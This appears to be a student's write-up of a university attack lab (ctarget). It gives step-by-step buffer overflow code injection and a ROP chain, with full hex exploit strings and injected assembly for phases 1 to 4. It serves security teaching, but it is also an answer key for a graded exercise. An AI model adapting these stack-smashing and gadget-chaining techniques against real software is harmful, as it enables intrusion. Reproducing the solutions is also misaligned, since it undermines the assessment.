Phase 1:
Will require overflowing the stack so that the return address of getbuf is changed to address of touch1

gdb ./ctarget
disas getbuf

Output gives us the padding required, which is shown as 0x18 for me, which is 24 bytes.

Therefore, what we need to do is now get the address of touch1, and then create the exploit string.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bf 59 55 55 55 55 00 00

Which after converting via hex2raw gives us the attack string. However, since addresses change at runtime, first initialize the program through gdb, and then afterwards

r < file_raw.txt

Which is what we require.

Phase 2:
The %rdi register is to be modified and the cookie is to be stored there.

First, creating an assembly instruction for modifying and storing the cookie, would be movq and retq, and then the assembly instructions for that would be created:

Disassembly of section .text:

0000000000000000 <.text>:
  0: 48 c7 c7 45 ff 1e 3c mov $0x3c1eff45,%rdi
  7: c3   retq

After that, find the address of the rsp register, which is done by running target and setting a breakpoint at getbuf. After that, run the disassembler till just below the callq instruction, which is done by running till callq and then overloading the buffer.

(gdb) x/s $rsp
0x556699d8: "viwevfvvisbervbsueirvbbseruv"

The address is found. After that, the string is crafted as such:

48 c7 c7 45 ff 1e 3c c3 \\assembly instructions
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 \\padding so that it is 24 bytes, of which 8 is of assembly
d8 99 66 55 00 00 00 00 \\ address of rsp
ed 59 55 55 55 55 00 00 \\address of touch2

Passing via hex2raw and then passing it to the program in gdb gives result.

Phase 3
Setting address of cookie to rdi, we do the following:

First, the amount of bytes before the cookie will be buffer + the return address + address of touch3, which is 24 + 8 + 8 = 40 bytes.

Adding 40 bytes to the rsp from phase2, we 55669a00, of which we will create byte representation, and then fetching the assembly code.

After that, 16 more bytes will be added for the buffer padding.

After that, the return address of the rsp, and then address of touch3. After which we pass the cookie. The final string is given as:

48 c7 c7 00 9a 66 55 c3 \\assembly
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 \\ padding
d8 99 66 55 00 00 00 00 \\ return address of rsp
04 5b 55 55 55 55 00 00 \\ address of touch3
33 63 31 65 66 66 34 35 \\ cookie in hex, which is required to be converted from text to hex

Passing via hex2raw and then passing it to the program in gdb accomplishes the task.

Phase 4:
This is done via ROP.
We use popq for %rax, then movq %rax %rdi and then ret.
So:

popq %rax
movq %rax,%rdi
ret

Here, sifting through the disassembled dump, we have to use the target farms. Finding bytes of interest, we need popq %rax, which is 58. Finding 58, we use getval_382, as it has 58 90 90 90. There are others, but 90 is nop, which is what we need, and any other byte value is unknown or

can change the values, which we do not want. The address we take has to be for popq %rax, which will be the address of the function + where the 58 is.

We do the same for the second target, but here we need movq %rax, %rdi, which is 48 89 c7. The function which we use is addval_262. Here also, add the address of where 48 starts, not where the function starts.

As such, we get the string:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00    \\ padding
af 5b 55 55 55 55 00 00    \\ popq gadget 1
45 ff 1e 3c 00 00 00 00    \\ cookie
d2 5b 55 55 55 55 00 00    \\ gadget 2 move rax to rdi
ed 59 55 55 55 55 00 00    \\ touch2 address
```

Passing via hex2raw and then passing it to the program in gdb gives the result.